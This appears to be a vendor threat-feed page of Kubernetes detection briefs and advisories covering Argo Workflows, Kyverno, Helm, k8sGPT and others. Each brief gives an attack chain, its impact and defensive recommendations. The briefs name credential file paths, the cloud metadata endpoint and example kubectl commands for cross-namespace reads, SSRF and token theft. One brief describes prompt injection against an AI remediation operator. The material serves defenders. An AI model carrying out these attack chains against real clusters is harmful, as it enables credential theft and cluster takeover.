Kubernetes — CraftedSignal Threat Feed

Kubernetes Pod Exec Sensitive File or Credential Path Access

hello@craftedsignal.io — Mon, 04 May 2026 21:42:34 +0000

This detection identifies Kubernetes pod exec sessions accessing sensitive files or credential paths. The goal is to detect attackers attempting to steal credentials or configuration information from within Kubernetes pods. This often occurs after initial access and may precede lateral movement, privilege escalation, or data exfiltration. The detection focuses on command lines that reference paths related to service account tokens, kubelet configuration, host identity stores, common private keys, keystore extensions, process environment dumps, and configuration files with embedded secrets. The rule is designed to catch both interactive and scripted access, and includes exclusions for benign reads of resolv.conf.

Attack Chain

Attacker gains initial access to a Kubernetes cluster, potentially through a compromised application or misconfigured service.
Attacker uses kubectl exec or similar tools to execute commands within a pod.
The executed command attempts to read sensitive files or directories within the pod’s filesystem, such as /var/run/secrets/kubernetes.io/serviceaccount/token to obtain the pod’s service account token.
The command may also target host-level files if the pod has hostPath mounts or runs in a privileged context, like /etc/shadow or /etc/passwd for credential access.
The attacker may attempt to dump process environments via /proc//environ to extract sensitive information stored as environment variables.
The attacker leverages obtained credentials or configuration to move laterally to other pods or nodes within the cluster.
The attacker escalates privileges within the cluster by abusing stolen service account tokens or node credentials.
The final objective is to exfiltrate sensitive data, deploy malicious workloads, or disrupt services within the Kubernetes environment.

Impact

A successful attack can lead to the compromise of sensitive data, including credentials, configuration files, and application secrets. This can enable attackers to move laterally within the Kubernetes cluster, escalate privileges, and potentially gain control over the entire environment. The severity of the impact depends on the sensitivity of the data exposed and the level of access achieved by the attacker.

Recommendation

Deploy the provided Sigma rule to your SIEM to detect sensitive file access within Kubernetes pod exec sessions.
Investigate any alerts triggered by the Sigma rule, focusing on the Esql.access_type field to prioritize incidents.
Review and tighten RBAC permissions for pod exec to limit access to authorized users and service accounts.
Implement admission controls to prevent pods from running in privileged mode or using hostPath mounts unless absolutely necessary.
Monitor Kubernetes audit logs for suspicious kubectl exec activity, including unusual command lines or access patterns.
Regularly rotate Kubernetes service account tokens and other sensitive credentials to minimize the impact of potential breaches.
Use the provided Kubernetes audit log query to proactively search for historical instances of sensitive file access.

Potential Direct Kubelet API Access via Process Arguments

hello@craftedsignal.io — Mon, 04 May 2026 21:18:23 +0000

This detection identifies potential direct Kubelet API access attempts on Linux systems. The Kubelet, acting as the primary node agent, exposes an API accessible via ports 10250 and 10255. Attackers may exploit this API to enumerate pods, fetch logs, or even attempt remote execution. This access can lead to significant breaches in Kubernetes environments, facilitating discovery, lateral movement, and ultimately, compromise of sensitive data or control over cluster resources. The detection focuses on identifying process executions where the command-line arguments contain URLs targeting these Kubelet ports, indicating a potential attempt to interact with the Kubelet API directly.

Attack Chain

An attacker gains initial access to a compromised host within the Kubernetes cluster or a host with network access to the Kubelet ports.
The attacker uses a utility like curl, wget, python, or similar tools to craft an HTTP request targeting the Kubelet API on ports 10250 or 10255.
The request includes a path like /pods, /runningpods, /metrics, /exec, or /containerLogs to gather information about the cluster’s state and configuration.
The attacker examines the response to identify potential targets for lateral movement, such as specific pods or containers of interest.
The attacker attempts to execute commands within a container using the /exec endpoint, potentially leveraging exposed service account tokens or other credentials.
The attacker uses gathered information to move laterally to other pods or nodes within the cluster, escalating privileges as they go.
The attacker compromises sensitive data or critical applications running within the Kubernetes cluster.

Impact

Successful exploitation can lead to full cluster compromise. Attackers can gain unauthorized access to sensitive data, disrupt critical applications, and move laterally to other resources within the Kubernetes environment. This could lead to significant financial losses, reputational damage, and legal liabilities. The potential impact includes data breaches, denial of service, and complete control over the Kubernetes infrastructure.

Recommendation

Deploy the Sigma rule Kubelet API Access via Process Arguments to your SIEM to detect suspicious process executions.
Restrict access to Kubelet ports 10250/10255 at the network layer to limit pod-to-node or host-to-node traffic as recommended in the overview section.
Harden Kubelet configuration by disabling anonymous authentication and enforcing webhook authentication/authorization as described in the overview section.

Argo Workflows Credentials Exposed in Pod Logs

hello@craftedsignal.io — Mon, 04 May 2026 20:12:01 +0000

Argo Workflows, a Kubernetes-native workflow engine, is vulnerable to credential exposure. Specifically, versions 4.0.0 through 4.0.4 inadvertently log artifact repository credentials in plaintext during artifact operations. This includes sensitive data like S3 Access Keys, Secret Keys, Session Tokens, Server-Side Customer Keys, OSS Access Keys, Secret Keys, Security Tokens, and GCS Service Account Keys. The vulnerability stems from the logging driver passing the entire ArtifactDriver struct to the structured logger. Any user with read access to workflow pod logs can extract these credentials, creating a significant security risk. This is an incomplete fix of CVE-2025-62157.

Attack Chain

An attacker gains read access to Kubernetes pod logs within the Argo Workflows namespace. This could be achieved through compromised credentials, misconfigured RBAC policies, or other Kubernetes vulnerabilities.
The attacker identifies a workflow that utilizes artifact storage, such as S3 or GCS.
The workflow executes an artifact operation (upload or download).
Argo Workflows logs the entire ArtifactDriver struct, including the plaintext credentials, into the pod logs.
The attacker queries the pod logs using kubectl or other Kubernetes tooling. For example: kubectl -n argo logs "cred-leak-test" -c wait.
The attacker extracts the plaintext credentials (e.g., S3 Access Key and Secret Key) from the log output.
The attacker uses the extracted credentials to access the artifact repository (e.g., S3 bucket) and potentially steal data or perform other unauthorized actions.

Impact

Successful exploitation of this vulnerability allows unauthorized access to artifact repositories used by Argo Workflows. This can lead to data breaches, as sensitive data stored in S3 buckets, GCS buckets, or other storage solutions can be exposed. The impact is especially severe if the compromised credentials have broad permissions or if the artifact repository contains highly sensitive data. This affects Argo Workflows versions 4.0.0, 4.0.1, 4.0.2, 4.0.3, and 4.0.4.

Recommendation

Upgrade Argo Workflows to version 4.0.5 or later to remediate the vulnerability (CVE-2026-42295).
Review and restrict Kubernetes RBAC permissions to limit access to pod logs, following the principle of least privilege.
Implement log monitoring and alerting for unusual access patterns to Kubernetes pod logs.
Rotate any potentially exposed artifact repository credentials (S3 access keys, GCS service account keys, etc.) if Argo Workflows versions 4.0.0-4.0.4 were in use.

Argo Workflows Template Referencing Restriction Bypass

hello@craftedsignal.io — Mon, 04 May 2026 20:11:38 +0000

Argo Workflows, a Kubernetes-native workflow engine, contains an incomplete fix for CVE-2026-31892. The initial patch blocked podSpecPatch modifications when templateReferencing: Strict was active. However, other fields within the WorkflowSpec that influence pod creation, such as hostNetwork, serviceAccountName, and securityContext, were not restricted. This allows a malicious user to bypass intended security controls and potentially escalate privileges within the Kubernetes cluster. Versions affected include those supporting the templateReferencing feature, specifically v4.0.2 and v3.7.11, which include the initial fix for CVE-2026-31892 but are still vulnerable to this bypass. This vulnerability exists because the check in setExecWorkflow only validates HasPodSpecPatch(), while other critical fields are applied directly to the pod specification. The bypass affects both Strict and Secure modes.

Attack Chain

Attacker gains create Workflow permission within the Argo Workflows environment.
Attacker crafts a Workflow manifest that references a hardened WorkflowTemplate.
Attacker sets hostNetwork: true (or other vulnerable fields like securityContext, serviceAccountName, tolerations, or automountServiceAccountToken) in the Workflow manifest.
The Workflow is submitted, and the setExecWorkflow function in the Argo controller only checks for podSpecPatch.
Due to the missing validation, the user-defined hostNetwork: true (or other vulnerable fields) is merged with the WorkflowTemplate specification.
The createWorkflowPod function reads the merged specification and applies the hostNetwork: true setting directly to the pod specification, bypassing the intended restrictions.
A pod is created with host networking enabled, granting the container access to the host’s network namespace.
The attacker can now access sensitive information or perform actions on the network as if they were running directly on the host.

Impact

Successful exploitation allows an attacker to bypass the intended security restrictions imposed by Argo Workflows’ templateReferencing feature. This can lead to privilege escalation, unauthorized access to network resources, and the potential to compromise other containers or nodes within the Kubernetes cluster. The impact is most significant in clusters that rely on Argo’s Strict mode as the primary enforcement layer, as other Kubernetes-level controls like PodSecurity admission or OPA/Gatekeeper may not be in place to mitigate these bypasses.

Recommendation

Deploy the Sigma rule Argo Workflow Host Network Bypass to detect workflows attempting to set hostNetwork: true, and tune for your environment.
Deploy the Sigma rule Argo Workflow Service Account Override to detect workflows attempting to override the service account.
Upgrade to a patched version of Argo Workflows that addresses CVE-2026-42296, ensuring that all WorkflowSpec fields that influence pod security posture are validated.
Implement Kubernetes-level controls, such as PodSecurity admission or OPA/Gatekeeper, to provide an additional layer of defense against unauthorized pod specification modifications.

IBM Turbonomic prometurbo Agent Privilege Escalation via Excessive Permissions (CVE-2026-6389)

hello@craftedsignal.io — Thu, 30 Apr 2026 22:16:26 +0000

CVE-2026-6389 affects IBM Turbonomic prometurbo agent versions 8.16.0 through 8.17.6. The vulnerability stems from the agent granting excessive cluster-wide permissions within IBM Turbonomic Application Resource Management. A successful exploit allows an attacker who has compromised the operator or its associated service account to gain unrestricted read access to all secrets within the cluster. This vulnerability was reported on April 30, 2026, and poses a significant risk to organizations using the affected versions, potentially leading to complete cluster compromise. Defenders should prioritize patching and monitoring for unauthorized access to sensitive resources.

Attack Chain

Attacker gains initial access to the Kubernetes cluster, potentially through exploiting a vulnerability in a separate application or service running within the cluster, or via compromised credentials.
The attacker identifies the IBM Turbonomic prometurbo agent and its associated service account within the compromised cluster.
The attacker leverages the compromised service account or operator to interact with the Kubernetes API, exploiting the excessive cluster-wide permissions granted to the prometurbo agent.
The attacker utilizes the unrestricted read access to enumerate and exfiltrate sensitive credentials stored as secrets within the cluster, including database passwords, API keys, and other sensitive information.
Using the stolen credentials, the attacker escalates privileges by accessing other services and resources within the cluster, such as deploying malicious pods or modifying existing deployments.
The attacker achieves persistence by creating or modifying service accounts, roles, and role bindings to maintain access to the cluster even if the initial point of compromise is remediated.
The attacker moves laterally within the cluster, compromising additional nodes and workloads to expand their control and access to sensitive data.
The attacker achieves full cluster compromise, gaining complete control over all resources and data within the Kubernetes environment.

Impact

A successful exploitation of CVE-2026-6389 can lead to a full compromise of the Kubernetes cluster. This includes unrestricted access to sensitive data and the ability to control all workloads and resources within the environment. The impact includes potential data breaches, service disruptions, and significant financial and reputational damage. Organizations in any sector using the affected versions of IBM Turbonomic are at risk, and the severity is heightened in environments handling sensitive data or critical infrastructure.

Recommendation

Upgrade IBM Turbonomic prometurbo agent to a version beyond 8.17.6 to patch CVE-2026-6389.
Review and restrict the permissions granted to the prometurbo agent service account, adhering to the principle of least privilege (reference: CVE-2026-6389).
Implement Kubernetes audit logging to monitor for unauthorized access to secrets and other sensitive resources (reference: Kubernetes documentation).
Deploy the Sigma rule “Detect Kubernetes Secret Access via Turbonomic Agent” to identify potential exploitation attempts (reference: Sigma rule below).
Monitor for unusual activity originating from the prometurbo agent service account, such as attempts to access or exfiltrate large amounts of data (reference: network_connection log source).
Implement network segmentation to limit the potential impact of a compromised cluster, preventing lateral movement to other environments.

k8sGPT Operator Vulnerable to Prompt Injection

hello@craftedsignal.io — Fri, 24 Apr 2026 16:41:39 +0000

k8sGPT is an open-source project that leverages AI to analyze and remediate Kubernetes cluster issues. A critical vulnerability exists in k8sGPT versions prior to 0.4.32, specifically within the k8sGPT-Operator component. The vulnerability stems from the auto-remediation pipeline in object_to_execution.go, which deserializes AI-generated YAML directly into a Kubernetes Deployment object without adequate validation. This lack of validation allows for prompt injection, where malicious YAML payloads generated by the AI can overwrite or modify existing deployments in unexpected ways. This can be exploited by attackers to gain control over resources within the Kubernetes cluster by crafting malicious AI prompts to inject malicious code into deployment configurations.

Attack Chain

An attacker crafts a malicious prompt designed to generate YAML code that includes malicious configurations (e.g., mounting host volumes, privileged containers).
The k8sGPT-Operator receives the prompt and uses its AI engine to generate a YAML manifest for a Kubernetes Deployment object.
The object_to_execution.go component deserializes the AI-generated YAML manifest directly into a Kubernetes Deployment object.
Due to the lack of validation, the malicious configurations within the YAML manifest are not detected.
The k8sGPT-Operator applies the modified Deployment object to the Kubernetes cluster via the Kubernetes API.
The Kubernetes scheduler creates pods based on the compromised Deployment object, potentially executing malicious code within the cluster.
The attacker gains control over the deployed pod, potentially escalating privileges to other resources within the cluster.

Impact

Successful exploitation of this vulnerability allows an attacker to inject arbitrary code into Kubernetes deployments, potentially leading to full cluster compromise. While the precise number of affected installations is unknown, any k8sGPT deployment prior to version 0.4.32 is susceptible. This could lead to data breaches, denial of service, or complete control over the Kubernetes environment. Organizations using k8sGPT for automated remediation should immediately upgrade to version 0.4.32 or later.

Recommendation

Upgrade k8sGPT to version 0.4.32 or later to patch the vulnerability (reference: Affected versions).
Implement additional validation of Deployment objects before applying them to the cluster to prevent malicious configurations (reference: Overview).
Deploy the Sigma rule provided to detect attempts to create privileged containers or mount sensitive host paths (reference: Sigma rule).
Monitor Kubernetes audit logs for suspicious activity related to Deployment object modifications (reference: Attack Chain).

Argo Workflows Controller Denial-of-Service via Malformed Pod Annotation

hello@craftedsignal.io — Thu, 23 Apr 2026 21:39:21 +0000

Argo Workflows is vulnerable to a denial-of-service attack where a malformed workflows.argoproj.io/pod-gc-strategy annotation within a workflow pod can crash the Argo Workflows controller. This vulnerability stems from an unchecked array index in the podGCFromPod() function. When the annotation value lacks a “/”, the strings.Split function returns an array of length 1, leading to an out-of-bounds access when trying to retrieve the second element. The resulting panic occurs outside the controller’s recovery scope, causing the entire controller process to terminate. The affected versions include 3.6.5 through 3.6.19, 3.7.0-rc1 through 3.7.12, and 4.0.0-rc1 through 4.0.3. This vulnerability was introduced in commit #14129.

Attack Chain

An attacker crafts a malicious Argo Workflow YAML file.
The YAML includes a podMetadata section defining annotations for the workflow pod.
Within the annotations, the workflows.argoproj.io/pod-gc-strategy key is set to a value that does not contain a forward slash ("/"), such as “NoSlash”.
The attacker submits the crafted workflow to the Argo Workflows controller using kubectl apply -n argo -f malicious-workflow.yaml.
The Argo Workflows controller receives the workflow definition and creates a corresponding pod based on the specification.
The podGCFromPod() function in /workflow/controller/pod/controller.go attempts to parse the workflows.argoproj.io/pod-gc-strategy annotation.
The strings.Split function splits the annotation value, resulting in an array with only one element.
The code attempts to access parts[1], causing a panic due to an out-of-bounds array access and crashes the controller, resulting in a denial-of-service.

Impact

Successful exploitation of this vulnerability allows any user with the ability to submit workflows to crash the Argo Workflows controller. The controller will enter a crash loop, rendering the entire Argo Workflows deployment unavailable. Since the controller is responsible for managing and executing workflows, all workflow processing is halted, leading to a denial-of-service condition. This can severely impact organizations relying on Argo Workflows for their CI/CD pipelines or other automated tasks. The attacker requires only create permission on Workflow resources to execute this attack.

Recommendation

Upgrade to a patched version of Argo Workflows (v3.6.4 or earlier, v3.6.20+, v3.7.13+, or v4.0.4+) to remediate the vulnerability as described in GHSA-5jv8-h7qh-rf5p.
Implement input validation on workflow submissions to reject workflows with malformed workflows.argoproj.io/pod-gc-strategy annotations. See the PoC workflow example provided in GHSA-5jv8-h7qh-rf5p for examples of vulnerable annotation values.
Deploy the Sigma rule Detect Argo Workflows Malformed Pod GC Annotation to detect workflow submissions containing potentially malicious annotations.

Kyverno ConfigMap Cross-Namespace Read RBAC Bypass (CVE-2026-22039 Incomplete Fix)

hello@craftedsignal.io — Fri, 17 Apr 2026 12:00:00 +0000

This brief addresses a critical vulnerability in Kyverno version 1.17.0 (and earlier) related to cross-namespace ConfigMap access, stemming from an incomplete fix for CVE-2026-22039. While the original CVE addressed privilege escalation in Kyverno’s apiCall context, the ConfigMap context loader (pkg/engine/context/loaders/configmap.go) still lacks namespace validation. This allows a namespace administrator to craft a Kyverno policy that reads ConfigMaps from any namespace, effectively bypassing RBAC controls. This vulnerability impacts multi-tenant Kubernetes clusters, particularly those running Azure Kubernetes Service (AKS) or other managed Kubernetes services using Kyverno. Exploitation requires a namespace admin to create a Kyverno Policy resource in their namespace. A successful exploit allows the attacker to exfiltrate sensitive data, such as database credentials and API keys, stored in ConfigMaps across the cluster.

Attack Chain

An attacker with namespace admin privileges creates a service account and role binding within their assigned namespace.
The attacker deploys a Kyverno Policy resource within their namespace. This policy is crafted to exploit the vulnerability in the ConfigMap context loader.
The policy specifies context.configMap.namespace to target a ConfigMap in a different, victim namespace. This step leverages the lack of namespace validation in pkg/engine/context/loaders/configmap.go.
The policy includes a mutate rule designed to extract data from the targeted ConfigMap and embed it into annotations of another ConfigMap within the attacker’s namespace.
The attacker triggers the policy by creating or modifying a ConfigMap (e.g., trigger-cm) in their own namespace. This triggers Kyverno’s admission controller.
Kyverno, running with a privileged service account (cluster-wide view role), fetches the ConfigMap from the victim namespace based on the attacker’s policy.
The mutate rule in the policy executes, copying the contents of the stolen ConfigMap data into annotations of the trigger ConfigMap.
The attacker retrieves the modified trigger-cm ConfigMap and extracts the exfiltrated secrets from the annotations.

Impact

Successful exploitation of this vulnerability allows a namespace administrator to bypass Kubernetes RBAC and read ConfigMaps from any namespace within the cluster. This can lead to the exfiltration of sensitive data such as database credentials, API keys, and other secrets stored in ConfigMaps. The impact is most severe in multi-tenant environments where namespace isolation is critical for security. This vulnerability affects any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled. A successful attack violates the principle of least privilege and breaks multi-tenancy guarantees.

Recommendation

Deploy the Sigma rule Detect Kyverno Policy Creating Cross-Namespace ConfigMap Context to identify potentially malicious policies.
Apply the namespace validation fix suggested in the advisory to configmap.NewConfigMapLoader(). Specifically, ensure the resolved namespace in the ConfigMap context matches the policy’s namespace (pkg/engine/context/loaders/configmap.go).
Audit other Kyverno context loaders (globalReference, imageRegistry, variable) for similar missing namespace validation patterns.
Upgrade to a patched version of Kyverno as soon as it is released. Refer to the Kyverno release notes for the fix version.

Multiple Vulnerabilities in Kyverno Allow Privilege Escalation and Data Manipulation

hello@craftedsignal.io — Thu, 16 Apr 2026 11:19:02 +0000

Kyverno, a Kubernetes policy engine, is susceptible to multiple vulnerabilities that can be exploited by authenticated remote attackers. These flaws allow attackers to disclose sensitive information, circumvent security measures, manipulate data, and ultimately gain elevated privileges within the Kubernetes environment. Successful exploitation of these vulnerabilities could lead to unauthorized access to sensitive resources, disruption of services, and potential compromise of the entire cluster. Given Kyverno’s central role in enforcing security policies, these vulnerabilities pose a significant risk to organizations relying on this tool for governance and compliance. Defenders should prioritize identifying and mitigating these vulnerabilities to prevent potential attacks.

Attack Chain

The attacker authenticates to the Kyverno API server using valid credentials.
The attacker exploits a vulnerability in the policy evaluation engine to bypass configured security policies.
The attacker leverages an information disclosure vulnerability to gain access to sensitive data, such as service account tokens or configuration details.
The attacker manipulates existing Kyverno policies to grant themselves additional permissions within the cluster.
The attacker uses the elevated permissions to create or modify Kubernetes resources, such as pods or deployments.
The attacker modifies data within the cluster, potentially impacting applications and services.
The attacker escalates privileges to gain cluster-admin access.
The attacker exfiltrates sensitive data from the compromised Kubernetes cluster.

Impact

Successful exploitation of these vulnerabilities in Kyverno can have severe consequences. It can lead to unauthorized access to sensitive data, manipulation of Kubernetes resources, and ultimately, a complete compromise of the cluster. This can result in data breaches, service disruptions, and significant financial and reputational damage. Organizations relying on Kyverno for security and governance in their Kubernetes environments are particularly vulnerable. The lack of specific victim numbers makes it difficult to quantify the impact precisely, but the criticality of Kyverno in Kubernetes security makes this a high-priority threat.

Recommendation

Implement strict access controls and monitoring for the Kyverno API server to detect unauthorized authentication attempts.
Analyze Kyverno audit logs for suspicious policy modifications and resource creations to identify potential exploitation attempts. Enable Kubernetes audit logging to detect unusual activity related to resources managed by Kyverno.
Develop and deploy the Sigma rules provided in this brief to detect attempts to bypass security policies.
Regularly review and update Kyverno policies to ensure they are effective and do not contain any vulnerabilities.

ArgoCD Image Updater Namespace Bypass Vulnerability (CVE-2026-6388)

hello@craftedsignal.io — Wed, 15 Apr 2026 22:17:22 +0000

CVE-2026-6388 is a critical vulnerability affecting ArgoCD Image Updater. This flaw allows an attacker who has the ability to create or modify ImageUpdater resources within a multi-tenant ArgoCD environment to bypass namespace boundaries. By exploiting insufficient validation within the Image Updater, an attacker can trigger image updates for applications residing in different namespaces, effectively escalating privileges across tenant boundaries. This unauthorized modification of application images can lead to compromised application integrity and potentially introduce malicious code into the targeted environments. The vulnerability was reported on 2026-04-15. Defenders must ensure proper access control and validation mechanisms are in place to mitigate the risk of exploitation.

Attack Chain

Attacker gains access to an ArgoCD account with permissions to create or modify ImageUpdater resources.
Attacker crafts a malicious ImageUpdater resource that targets an application in a different namespace.
The malicious ImageUpdater resource specifies a container image to be updated.
ArgoCD Image Updater processes the malicious ImageUpdater resource.
Due to insufficient validation, the Image Updater bypasses namespace boundaries.
The Image Updater triggers an update to the target application’s container image in the other namespace.
The target application is now running with the attacker-controlled container image.
The attacker achieves cross-namespace privilege escalation and compromises the target application’s integrity.

Impact

Successful exploitation of CVE-2026-6388 allows an attacker to perform unauthorized image updates across namespaces in a multi-tenant ArgoCD environment. This leads to cross-namespace privilege escalation, enabling attackers to compromise applications managed by other tenants. The compromised applications may be used to conduct further attacks, steal sensitive data, or cause disruption. The severity is considered critical due to the potential for widespread impact and the relative ease of exploitation for attackers with the required permissions.

Recommendation

Implement strict Role-Based Access Control (RBAC) policies within ArgoCD to limit the ability of users to create or modify ImageUpdater resources (reference: Overview section).
Deploy the provided Sigma rule to detect suspicious ImageUpdater resource modifications targeting multiple namespaces (reference: rules section).
Thoroughly review and harden the ImageUpdater validation logic to prevent namespace bypass (reference: CVE-2026-6388).
Monitor ArgoCD logs for any attempts to create or modify ImageUpdater resources from unusual or unauthorized sources (reference: rules logsource).

Kyverno SSRF Vulnerability in CEL HTTP Library

hello@craftedsignal.io — Tue, 14 Apr 2026 22:37:20 +0000

A Server-Side Request Forgery (SSRF) vulnerability has been identified in Kyverno’s CEL HTTP library (pkg/cel/libs/http/), affecting versions >= 1.16.0. This flaw allows users with permissions to create namespace-scoped policies to bypass intended restrictions and make arbitrary HTTP requests from the Kyverno admission controller. This can lead to unauthorized access to internal Kubernetes services in other namespaces, cloud metadata endpoints such as 169.254.169.254 (allowing credential theft), and the exfiltration of sensitive data by embedding it in policy error messages. The vulnerability stems from a lack of URL validation in the http.Get() and http.Post() functions used within CEL policies, contrasting with the namespace enforcement present in the resource.Lib. The reported vulnerability was tested and confirmed on Kyverno v1.16.2 deployed via Helm chart 3.6.2.

Attack Chain

An attacker gains the ability to create NamespacedValidatingPolicy resources within a specific Kubernetes namespace. This could be achieved through compromised credentials, misconfigured RBAC, or other privilege escalation methods.
The attacker crafts a malicious NamespacedValidatingPolicy that utilizes the http.Get() or http.Post() function within a CEL expression. The crafted policy is applied to the target Kubernetes cluster.
The CEL expression within the policy is designed to make an HTTP request to an internal service (e.g., internal-api.kube-system.svc.cluster.local) or a cloud metadata endpoint (169.254.169.254).
The crafted NamespacedValidatingPolicy is triggered by a specific event, such as the creation of a ConfigMap within the attacker’s namespace, which matches the matchConstraints defined in the policy.
The Kyverno admission controller executes the CEL expression, making the HTTP request to the specified internal service or cloud metadata endpoint.
The HTTP response from the internal service or cloud metadata endpoint is captured by the CEL expression.
The attacker crafts a messageExpression within the NamespacedValidatingPolicy to include the captured data in a validation error message.
The validation error message, containing the exfiltrated data, is returned to the user, effectively leaking sensitive information.

Impact

This SSRF vulnerability allows attackers with limited, namespace-scoped privileges to access sensitive data within a Kubernetes cluster. This includes the ability to access services in other namespaces, potentially compromising sensitive configurations or secrets. Access to cloud metadata endpoints (169.254.169.254) allows the theft of IAM credentials, leading to further escalation of privileges within the cloud environment. Successful exploitation breaks namespace isolation, undermining the security model of Kyverno and Kubernetes.

Recommendation

Deploy the Sigma rule to detect suspicious usage of http.Get or http.Post function in NamespacedValidatingPolicy resources in your SIEM and tune for your environment.
Monitor network connections originating from the Kyverno pods, specifically looking for connections to internal Kubernetes services or cloud metadata endpoints (169.254.169.254), using the network_connection log source.
Apply the suggested fix by adding namespace and URL restrictions to pkg/cel/libs/http/http.go in Kyverno, similar to how resource.Lib enforces namespace boundaries as per the advisory.
Upgrade Kyverno to a patched version >= 1.17 when available, addressing the CVE-2026-4789.

Red Hat OpenShift AI odh-dashboard Kubernetes Token Disclosure (CVE-2026-5483)

hello@craftedsignal.io — Sat, 11 Apr 2026 12:00:00 +0000

A vulnerability, CVE-2026-5483, has been identified in the odh-dashboard component of Red Hat OpenShift AI (RHOAI). This flaw allows for the unintended disclosure of Kubernetes Service Account tokens via a NodeJS endpoint. Discovered in April 2026, the vulnerability stems from the insertion of sensitive information into sent data. An attacker with knowledge of the vulnerable endpoint can potentially exploit this to gain unauthorized access to Kubernetes resources within the affected OpenShift environment. This poses a significant risk, particularly in environments where OpenShift AI is used to manage sensitive data or critical infrastructure.

Attack Chain

The attacker identifies a Red Hat OpenShift AI instance running the vulnerable odh-dashboard component.
The attacker crafts a malicious HTTP request targeting the vulnerable NodeJS endpoint responsible for handling Kubernetes Service Account tokens.
The vulnerable endpoint processes the request without proper sanitization or access controls.
The Kubernetes Service Account token is inadvertently included in the response data due to the CWE-201 vulnerability (Insertion of Sensitive Information Into Sent Data).
The attacker intercepts or captures the response containing the leaked Kubernetes Service Account token.
The attacker uses the compromised Kubernetes Service Account token to authenticate to the Kubernetes API.
The attacker enumerates the Kubernetes cluster to identify potential targets and resources.
The attacker leverages the compromised Service Account privileges to access sensitive data, modify configurations, or deploy malicious workloads within the Kubernetes cluster.

Impact

Successful exploitation of CVE-2026-5483 can lead to unauthorized access to Kubernetes resources within a Red Hat OpenShift AI environment. The disclosure of Kubernetes Service Account tokens allows an attacker to bypass authentication controls and potentially gain complete control over the cluster. This could result in data breaches, service disruptions, and the deployment of malicious applications, affecting all users and applications relying on the compromised OpenShift AI instance. The severity is high, with a CVSS v3.1 base score of 8.5.

Recommendation

Apply the patch provided by Red Hat via RHSA-2026:7397 to remediate the vulnerability in odh-dashboard.
Monitor web server logs for suspicious requests targeting NodeJS endpoints associated with odh-dashboard using the “Detect OpenShift Token Disclosure Attempt” Sigma rule.
Implement network segmentation to limit the impact of a potential compromise and restrict access to sensitive Kubernetes resources.
Enable and review Kubernetes audit logs to detect unauthorized activity performed by compromised service accounts.
Rotate Kubernetes Service Account tokens regularly to minimize the window of opportunity for an attacker to exploit leaked credentials.

Helm Plugin Path Traversal Vulnerability

hello@craftedsignal.io — Sat, 11 Apr 2026 12:00:00 +0000

Helm, a package manager for Kubernetes charts, is vulnerable to a path traversal issue. Specifically, Helm versions 4.0.0 through 4.1.3 are affected. A maliciously crafted Helm plugin, when installed or updated, can exploit this vulnerability (CVE-2026-35204) to write the plugin’s contents to arbitrary locations on the user’s filesystem. This can lead to overwriting critical system files or user data, potentially compromising the system’s integrity. Helm v4.1.4 resolves this vulnerability by rejecting plugins with non-SemVer versions containing path traversal patterns. Defenders should ensure Helm installations are updated to the patched version or implement workarounds to validate plugin metadata.

Attack Chain

An attacker crafts a malicious Helm plugin. This plugin contains a plugin.yaml file with a version field that includes POSIX dot-dot path separators (e.g., /../).
The attacker distributes the malicious plugin to potential victims, possibly through public repositories or direct spear phishing.
A victim attempts to install or update the Helm plugin using the helm plugin install or helm plugin update command.
Helm parses the plugin.yaml file and extracts the version field, which contains the path traversal characters.
Due to the vulnerability, Helm incorrectly resolves the file path, allowing the plugin’s contents to be written outside the intended plugin directory.
The malicious plugin overwrites arbitrary files on the user’s system based on the path specified in the version field.
Depending on the files overwritten, the attacker can achieve various malicious objectives, such as gaining persistence, escalating privileges, or executing arbitrary code.
The attacker achieves persistence by overwriting system startup scripts or configuration files, allowing the malicious code to run automatically on system reboot.

Impact

Successful exploitation of this vulnerability allows attackers to overwrite arbitrary files on the victim’s system. This can lead to various detrimental outcomes, including data loss, system instability, privilege escalation, and ultimately, complete system compromise. While the specific number of victims is unknown, any user running a vulnerable version of Helm (4.0.0 - 4.1.3) is at risk. The potential impact includes compromising Kubernetes deployments and sensitive data stored on affected systems.

Recommendation

Upgrade Helm to version 4.1.4 or later to remediate CVE-2026-35204, as this version includes a patch that prevents path traversal during plugin installation.
Implement a validation step before installing or updating Helm plugins, checking the plugin.yaml file for a version: field containing POSIX dot-dot path separators. This mitigates the risk described in the workaround section of the advisory.
Deploy the Sigma rule “Helm Plugin Install with Path Traversal” to detect attempts to install plugins with malicious version fields, using file_event logs.

Multiple Cloud Secrets Accessed by Single Source IP

hello@craftedsignal.io — Fri, 10 Apr 2026 16:27:52 +0000

This threat brief focuses on the detection of potential credential compromise and abuse in multi-cloud environments. The core issue is the observation of a single source IP address accessing secret stores across multiple cloud providers (AWS Secrets Manager, Google Secret Manager, Azure Key Vault) and Kubernetes clusters within a short timeframe. This behavior, detected by the Elastic rule “Multiple Cloud Secrets Accessed by Source Address” published on 2026-04-10, is indicative of an adversary attempting to harvest secrets using stolen credentials, hijacked sessions, or replayed tokens. The rule is designed to identify anomalous cross-cloud secret retrieval, which is uncommon in legitimate multi-cloud orchestration scenarios. Defenders need to identify the source IP, the accessed secrets, and potential compromise scope to mitigate the threat effectively.

Attack Chain

Initial Access: Adversary gains access to valid credentials or session tokens through various means like phishing, malware, or exposed credentials. (T1555, T1566)
Authentication: Adversary uses the compromised credentials or tokens to authenticate to one of the cloud provider’s API (AWS, Azure, GCP).
Discovery (AWS): The adversary leverages the AWS CLI or API to enumerate available secrets stored in AWS Secrets Manager using GetSecretValue API calls.
Discovery (Azure): The adversary uses compromised credentials to interact with Azure Key Vault, utilizing SecretGet or KeyGet actions to discover accessible secrets.
Discovery (GCP): The adversary uses compromised service account or user credentials to access Google Secret Manager and enumerate accessible secrets using google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion or google.cloud.secretmanager.v1.SecretManagerService.GetSecretRequest.
Discovery (Kubernetes): The adversary uses compromised credentials to access the Kubernetes API and enumerate secrets within the cluster, specifically targeting the secrets resource with get or list verbs.
Credential Access: The adversary retrieves the secret values from each cloud provider and Kubernetes cluster. (T1555.006)
Exfiltration/Lateral Movement: The adversary exfiltrates the retrieved secrets for further malicious activities, such as lateral movement within the cloud environments or unauthorized access to sensitive data.

Impact

A successful attack can lead to the exfiltration of sensitive data, including API keys, database passwords, and encryption keys. This could result in unauthorized access to critical systems and data, potentially leading to data breaches, financial loss, and reputational damage. The impact is amplified in multi-cloud environments as the adversary can leverage the compromised secrets to move laterally between different cloud providers, increasing the scope and severity of the attack.

Recommendation

